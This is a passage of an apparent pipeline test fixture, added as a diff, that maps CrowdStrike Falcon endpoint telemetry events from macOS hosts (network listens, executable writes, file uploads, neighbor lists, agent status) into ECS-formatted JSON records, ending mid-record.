"{\"event_simpleName\":\"NetworkListenIP6\",\"ContextTimeStamp\":\"1625622608.014\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"ConfigStateHash\":\"3967242894\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364938390018585510\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"8770\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP6MacV10\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677478929\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffff44564c2f8d76394cb25c31ab", + "os": { + "type": "macos" + } + }, + "message": "NetworkListenIP6", + "network": { + "direction": "unknown", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff44564c2f8d76394cb25c31ab", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364938390018585510" + }, + "related": { + "hash": [ + "3967242894" + ], + "ip": [ + "67.43.156.13", + "0:0:0:0:0:0:0:0" + ] + }, + "source": { + "address": "0:0:0:0:0:0:0:0", + "ip": "0:0:0:0:0:0:0:0", + "port": 8770 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:02.693Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "SystemTableIndex": 0, + "Tags": [ + "312", + "11544872091698", + "21990232555653", + "21990232555859", + "26388279066700", + "26388279066703", + "26388279066704", + "26388279066705", + "26388279066708", + "26388279066849", + "26388279066855", + "26388279066948", + "26388279066958", + "26388279066970", + "26388279067150", + "26388279067174", + "26388279067175", + "26405458935929", + "26405458935963", + "26405458935964", + "26405458936063", + "26405458936087", + "26405458936088", + "26405458936130", + "26405458936163", + "26405458936164", + "26405458936166", + "26405458936167", + "26405458936242", + "26405458936306", + "26405458936307", + "26405458936357", + "26405458936510", + "26405458936511", + "26405458936522", + "26405458936523", + "26422638805193", + "26422638805230", + "26422638805244", + "26422638805245", + "26422638805246", + "26439818674539", + "26439818674540", + "26439818674541", + "26439818674542", + "26439818674543", + "26439818674544", + "26439818674614", + "26439818674615", + "26439818674616", + "26439818674617", + "26439818674678", + "26439818674679", + "26439818674680", + "26439818674882", + "26439818674883", + "26439818674884", + "26439818674894", + "26439818674895", + "26439818674896", + "26456998543646", + "26456998543647", + "26456998543648", + "26456998543649", + "26456998543650", + "26456998543651", + "26456998543652", + "26456998543653", + "26456998543654", + "26456998543656", + "26456998543721", + "26456998543722", + "26456998543744", + "26456998543793", + "26456998543811", + "26456998543903", + "26456998543904", + "26456998543950", + "26456998543963", + "26456998544000", + "26456998544045", + "26456998544086", + "26456998544087", + "26456998544115", + "30803505447073", + "30803505447074", + "30803505447075", + "30803505447076", + "30803505447077", + "30803505447078", + "30803505447194", + "30803505447195", + "30803505447196", + "30803505447528", + "30803505447529", + "30803505447530", + "30803505447532", + "30803505447533", + "30803505447534", + "30803505447537", + "30803505447538", + "30803505447539", + "30803505447541", + "30803505447542", + "30803505447543", + "30803505447567", + "30803505447568", + "30803505447569", + "30803505447571", + "30803505447572", + "30803505447573", + "30803505447575", + "30803505447576", + "30803505447577", + "30803505447579", + "30803505447580", + "30803505447581", + "30803505447583", + "30803505447584" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7", + "name": "CurrentSystemTagsMacV1" + }, + "device": { + "id": "ffffffff62714a708030d494ca0a7e60" + }, + "event": { + "action": "CurrentSystemTags", + "category": [ + "host" + ], + "created": "2021-07-07T17:05:02.693Z", + "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7|ffffffff62714a708030d494ca0a7e60|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"event_simpleName\":\"CurrentSystemTags\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"SystemTableIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"CurrentSystemTagsMacV1\",\"id\":\"ffffffff-1111-11eb-b88d-06b7cb0d7bd7\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff62714a708030d494ca0a7e60\",\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584\",\"timestamp\":\"1625677502693\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "ffffffff62714a708030d494ca0a7e60", + "os": { + "type": "macos" + } + }, + "message": "CurrentSystemTags", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff62714a708030d494ca0a7e60", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:33.060Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "ContextProcessId": "362208380891022165", + "ContextTimeStamp": "2021-07-07T17:05:33.027Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "SHA256HashData": "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005", + "VnodeModificationType": "0", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-985c-02152dd35bc1", + "name": "NewExecutableWrittenMacV2" + }, + "device": { + "id": "ffffffff28414c2293e35c360213e723" + }, + "event": { + "action": "NewExecutableWritten", + "category": [ + "file" + ], + "created": "2021-07-07T17:05:33.060Z", + "id": "ffffffff-1111-11eb-985c-02152dd35bc1|ffffffff28414c2293e35c360213e723|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"NewExecutableWritten\",\"ContextTimeStamp\":\"1625677533.027\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"362208380891022165\",\"Size\":\"596224\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NewExecutableWrittenMacV2\",\"id\":\"ffffffff-1111-11eb-985c-02152dd35bc1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff28414c2293e35c360213e723\",\"timestamp\":\"1625677533060\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader\",\"VnodeModificationType\":\"0\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS", + "hash": { + "sha256": "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005" + }, + "name": "app_mode_loader", + "path": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader", + "size": 596224, + "type": "file" + }, + "host": { + "id": "ffffffff28414c2293e35c360213e723", + "os": { + "type": "macos" + } + }, + "message": "NewExecutableWritten", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff28414c2293e35c360213e723", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "362208380891022165", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005", + "1620585913" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:03:48.827Z", + "crowdstrike": { + "AttemptNumber": 0, + "ConfigStateHash": "3090255842", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "LfoUploadFlags": "4", + "SHA256HashData": "d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a", + "Tags": [ + "312", + "11544872091698", + "21990232555653", + "21990232555859", + "26388279066700", + "26388279066703", + "26388279066704", + "26388279066705", + "26388279066708", + "26388279066849", + "26388279066855", + "26388279066948", + "26388279066958", + "26388279066970", + "26388279067150", + "26388279067174", + "26388279067175", + "26405458935929", + "26405458935963", + "26405458935964", + "26405458936063", + "26405458936087", + "26405458936088", + "26405458936130", + "26405458936163", + "26405458936164", + "26405458936166", + "26405458936167", + "26405458936242", + "26405458936306", + "26405458936307", + "26405458936357", + "26405458936510", + "26405458936511", + "26405458936522", + "26405458936523", + "26422638805193", + "26422638805230", + "26422638805244", + "26422638805245", + "26422638805246", + "26439818674539", + "26439818674540", + "26439818674541", + "26439818674542", + "26439818674543", + "26439818674544", + "26439818674614", + "26439818674615", + "26439818674616", + "26439818674617", + "26439818674678", + "26439818674679", + "26439818674680", + "26439818674882", + "26439818674883", + "26439818674884", + "26439818674894", + "26439818674895", + "26439818674896", + "26456998543646", + "26456998543647", + "26456998543648", + "26456998543649", + "26456998543650", + "26456998543651", + "26456998543652", + "26456998543653", + "26456998543654", + "26456998543656", + "26456998543721", + "26456998543722", + "26456998543744", + "26456998543793", + "26456998543811", + "26456998543903", + "26456998543904", + "26456998543950", + "26456998543963", + "26456998544000", + "26456998544045", + "26456998544086", + "26456998544087", + "26456998544115", + "30803505447073", + "30803505447074", + "30803505447075", + "30803505447076", + "30803505447077", + "30803505447078", + "30803505447194", + "30803505447195", + "30803505447196", + "30803505447528", + "30803505447529", + "30803505447530", + "30803505447532", + "30803505447533", + "30803505447534", + "30803505447537", + "30803505447538", + "30803505447539", + "30803505447541", + "30803505447542", + "30803505447543", + "30803505447567", + "30803505447568", + "30803505447569", + "30803505447571", + "30803505447572", + "30803505447573", + "30803505447575", + "30803505447576", + "30803505447577", + "30803505447579", + "30803505447580", + "30803505447581", + "30803505447583", + "30803505447584" + ], + "UploadId": "8023668629276690295", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-a2ab-024aafff599f", + "name": "LfoUploadDataCompleteMacV3" + }, + "device": { + "id": "fffffffffbea48169985c2c2bae89d1d" + }, + "event": { + "action": "LfoUploadDataComplete", + "category": [ + "file" + ], + "created": "2021-07-07T17:03:48.827Z", + "id": "ffffffff-1111-11eb-a2ab-024aafff599f|fffffffffbea48169985c2c2bae89d1d|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"LfoUploadDataComplete\",\"LfoUploadFlags\":\"4\",\"AttemptNumber\":\"0\",\"ConfigStateHash\":\"3090255842\",\"SourceFileName\":\"/Users/user5/.rbenv/versions/2.6.5/bin/ruby\",\"Size\":\"3876424\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a\",\"UploadId\":\"8023668629276690295\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LfoUploadDataCompleteMacV3\",\"id\":\"ffffffff-1111-11eb-a2ab-024aafff599f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffffbea48169985c2c2bae89d1d\",\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584\",\"timestamp\":\"1625677428827\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "directory": "/Users/user5/.rbenv/versions/2.6.5/bin", + "name": "ruby", + "path": "/Users/user5/.rbenv/versions/2.6.5/bin/ruby", + "size": 3876424, + "type": "file" + }, + "host": { + "id": "fffffffffbea48169985c2c2bae89d1d", + "os": { + "type": "macos" + } + }, + "message": "LfoUploadDataComplete", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "fffffffffbea48169985c2c2bae89d1d", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a", + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:13.146Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "LightningLatencyState": "3", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b", + "name": "LightningLatencyInfoMacV1" + }, + "device": { + "id": "ffffffffd452449b8d1eb7d85b146650" + }, + "event": { + "action": "LightningLatencyInfo", + "created": "2021-07-07T17:04:13.146Z", + "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b|ffffffffd452449b8d1eb7d85b146650|ffffffff15754bcfb5f9152ec7ac90ac", + "original": "{\"event_simpleName\":\"LightningLatencyInfo\",\"LightningLatencyState\":\"3\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LightningLatencyInfoMacV1\",\"id\":\"ffffffff-1111-11eb-b44e-069a02b0ad6b\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffd452449b8d1eb7d85b146650\",\"timestamp\":\"1625677453146\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" + }, + "host": { + "id": "ffffffffd452449b8d1eb7d85b146650", + "os": { + "type": "macos" + } + }, + "message": "LightningLatencyInfo", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffd452449b8d1eb7d85b146650", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:10.083Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InterfaceIndex": 6, + "NeighborList": [ + "40-C7-29-FF-FF-FF", + "192.168.2.1", + "1", + "64-9A-BE-FF-FF-FF", + "192.168.2.10", + "0", + "F0-FF-FF-FF-A0-14", + "192.168.2.43", + "0", + "DE-58-FF-FF-5D-3B", + "192.168.2.113", + "0", + "5E-AA-FF-FF-FF-20", + "192.168.2.128", + "0", + "44-FF-FF-FF-03-DD", + "192.168.2.136", + "0", + "EE-74-EE-EE-FF-0D", + "192.168.2.137", + "0", + "3A-FF-FF-FF-03-26", + "192.168.2.144", + "0", + "DE-79-FF-FF-FF-D4", + "192.168.2.145", + "0", + "0E-24-FF-EE-EE-87", + "192.168.2.152", + "0", + "CC-D9-AC-AF-66-F8", + "192.168.2.153", + "0" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9dc0-06c6f5278873", + "name": "NeighborListIP4MacV1" + }, + "device": { + "id": "ffffffff8eb649cf8d82be1e65629a0e" + }, + "event": { + "action": "NeighborListIP4", + "category": [ + "host", + "network" + ], + "created": "2021-07-07T17:04:10.083Z", + "id": "ffffffff-1111-11eb-9dc0-06c6f5278873|ffffffff8eb649cf8d82be1e65629a0e|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"event_simpleName\":\"NeighborListIP4\",\"ConfigStateHash\":\"1620585913\",\"NeighborList\":\"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NeighborListIP4MacV1\",\"id\":\"ffffffff-1111-11eb-9dc0-06c6f5278873\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff8eb649cf8d82be1e65629a0e\",\"timestamp\":\"1625677450083\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "unknown", + "type": [ + "info" + ] + }, + "host": { + "id": "ffffffff8eb649cf8d82be1e65629a0e", + "os": { + "type": "macos" + } + }, + "message": "NeighborListIP4", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff8eb649cf8d82be1e65629a0e", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "1620585913" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:14.723Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "365039419134863763", + "ContextTimeStamp": "2021-07-07T17:04:14.557Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-ab6e-0668ec51180b", + "name": "ZipFileWrittenMacV1" + }, + "device": { + "id": "ffffffff2d984e32b702789b54f0f811" + }, + "event": { + "action": "ZipFileWritten", + "category": [ + "file" + ], + "created": "2021-07-07T17:04:14.723Z", + "id": "ffffffff-1111-11eb-ab6e-0668ec51180b|ffffffff2d984e32b702789b54f0f811|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"ZipFileWritten\",\"ContextTimeStamp\":\"1625677454.557\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365039419134863763\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"07000001000000000000000000000000b1445a0900000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ZipFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-ab6e-0668ec51180b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff2d984e32b702789b54f0f811\",\"timestamp\":\"1625677454723\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache", + "extension": "zip", + "inode": "07000001000000000000000000000000b1445a0900000000", + "name": "2021-07-06T23:44:46.133Z.zip", + "path": "/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip", + "type": "file" + }, + "host": { + "id": "ffffffff2d984e32b702789b54f0f811", + "os": { + "type": "macos" + } + }, + "message": "ZipFileWritten", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff2d984e32b702789b54f0f811", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "365039419134863763", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:20.451Z", + "crowdstrike": { + "AgentLoadFlags": "0", + "AgentLocalTime": "2021-07-07T17:04:05.731Z", + "BiosManufacturer": "Apple Inc.", + "BiosReleaseDate": "2021-01-06T00:00:00.000Z", + "BiosVersion": "1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)", + "ChasisManufacturer": "Apple Inc.", + "ChassisType": "9", + "ConfigBuild": "1007.4.0013701.1", + "ConfigIDBase": "65994753", + "ConfigIDBuild": "13701", + "ConfigIDPlatform": "4", + "ConfigStateHash": "3967242894", + "ConfigurationVersion": "10", + "ContextTimeStamp": "2021-07-07T17:04:05.731Z", + "CpuFeaturesMask": "7494065083858915", + "CpuSignature": "591594", + "CpuVendor": "0", + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "MicrocodeSignature": "16045690984229358334", + "MoboManufacturer": "Apple Inc.", + "MoboProductName": "Mac-E1008331FDC96864", + "ProvisionState": "1", + "SystemManufacturer": "Apple Inc.", + "SystemProductName": "MacBookPro16,1", + "SystemSerialNumber": "C02F649EMD6R", + "SystemSku": " ", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b3de-06a53f021cc9", + "name": "AgentOnlineMacV13" + }, + "device": { + "id": "ffffffffbea440b9aad8b5bf222d303f" + }, + "event": { + "action": "AgentOnline", + "category": [ + "configuration", + "package", + "host" + ], + "created": "2021-07-07T17:04:20.451Z", + "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"AgentVersion\":\"6.24.13701.0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"BiosReleaseDate\":\"01/06/2021\",\"CpuFeaturesMask\":\"7494065083858915\",\"ChasisManufacturer\":\"Apple Inc.\",\"SystemSerialNumber\":\"C02F649EMD6R\",\"event_platform\":\"Mac\",\"AgentLoadFlags\":\"0\",\"CpuVendor\":\"0\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"BiosVersion\":\"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)\",\"CpuSignature\":\"591594\",\"EffectiveTransmissionClass\":\"0\",\"MoboProductName\":\"Mac-E1008331FDC96864\",\"timestamp\":\"1625677460451\",\"MicrocodeSignature\":\"16045690984229358334\",\"event_simpleName\":\"AgentOnline\",\"ContextTimeStamp\":\"1625677445.731\",\"SystemProductName\":\"MacBookPro16,1\",\"MoboManufacturer\":\"Apple Inc.\",\"ConfigStateHash\":\"3967242894\",\"ConfigBuild\":\"1007.4.0013701.1\",\"SystemSku\":\" \",\"SensorGroupingTags\":\"\",\"ConfigurationVersion\":\"10\",\"AgentLocalTime\":\"1625677445.731\",\"BiosManufacturer\":\"Apple Inc.\",\"Entitlements\":\"15\",\"name\":\"AgentOnlineMacV13\",\"ConfigIDPlatform\":\"4\",\"ComputerName\":\"comp2\",\"ChassisType\":\"9\",\"ConfigIDBuild\":\"13701\",\"SystemManufacturer\":\"Apple Inc.\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"ProvisionState\":\"1\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"Zero\"}", + "outcome": "success", + "type": [ + "change", + "installation", + "start" + ] + }, + "file": { + "path": "Zero", + "type": "file" + }, + "host": { + "hostname": "comp2", + "id": "ffffffffbea440b9aad8b5bf222d303f", + "name": "comp2", + "os": { + "type": "macos" + } + }, + "message": "AgentOnline", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffbea440b9aad8b5bf222d303f", + "version": "6.24.13701.0" + }, + "related": { + "hash": [ + "3967242894" + ], + "hosts": [ + "comp2" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:03:58.553Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "365053399098988534", + "ContextTimeStamp": "2021-07-07T17:03:58.515Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "UnixMode": "384", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-956a-02748d01bd3d", + "name": "CriticalFileAccessedMacV1" + }, + "device": { + "id": 